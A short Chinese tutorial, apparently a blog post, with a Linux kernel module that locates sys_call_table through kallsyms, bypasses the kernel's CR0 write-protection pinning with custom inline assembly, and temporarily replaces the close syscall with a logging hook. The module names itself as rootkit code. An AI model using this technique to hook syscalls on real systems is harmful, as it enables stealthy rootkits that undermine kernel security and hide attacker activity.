1.通過kallsyms方式
基於Linux 5.0/Linux5.3 的X86-64系統.
1. 通過kallsyms_lookup_name查找sys_call_table地址.
2. 關閉寫保護
3. 修改sys_call_table
Linux5.0上直接調用write_cr0接口,能夠順利的修改CR0寄存器,而內核版本更新到Linux5.3以後,發現對CR0的修改進行了保護,所以這裏需要自定義write_cr0的實現,直接從Linux5.0中把相關代碼靜態編譯進入模塊中.這樣也可以繞過對CR0的保護.
#include<linux/module.h>
#include<linux/printk.h>
#include<linux/kobject.h>
#include<linux/kernel.h>
#include<asm/unistd_64.h>
#include<linux/syscalls.h>
#include<linux/delay.h>
#include<linux/kallsyms.h>
#include<asm/syscall.h>
#include<asm/paravirt.h>
#include <asm/nops.h>
static unsigned long __lkm_order;
static inline unsigned long lkm_read_cr0(void)
{
unsigned long val;
asm volatile("mov %%cr0,%0\n\t" : "=r" (val), "=m" (__lkm_order));
return val;
}
static inline void lkm_write_cr0(unsigned long val)
{
asm volatile("mov %0,%%cr0": : "r" (val), "m" (__lkm_order));
}
long (*fake_ptr)(const struct pt_regs*);
long fake_close(const struct pt_regs* regs)
{
printk(KERN_ERR"fake close+++++\n");
return fake_ptr(regs);
}
void disable_write_protection(void)
{
unsigned long cr0 = lkm_read_cr0();
clear_bit(16, &cr0);
lkm_write_cr0(cr0);
}
void
enable_write_protection(void)
{
unsigned long cr0 = lkm_read_cr0();
set_bit(16, &cr0);
lkm_write_cr0(cr0);
}
void get_sys_call_table(void)
{
unsigned long sys_close = 0;
unsigned long *call_table = 0;
call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
printk("call_table:%lx",call_table);
if(call_table)
sys_close = call_table[__NR_close];
fake_ptr = sys_close;
disable_write_protection();
call_table[__NR_close]=fake_close ;
printk("fake_close:%lx,sys_close:%lx,table:%lx",(unsigned long)fake_close,sys_close,call_table[__NR_close]);
msleep(2000);
call_table[__NR_close] = fake_ptr;
}
static int __init rootkits_lsm_init(void)
{
get_sys_call_table();
return 0;
}
static void __exit root_kits_lsm_uninit(void)
{
printk("hell world lsm uninit\n");
}
module_init(rootkits_lsm_init);
module_exit(root_kits_lsm_uninit);
MODULE_LICENSE("GPL");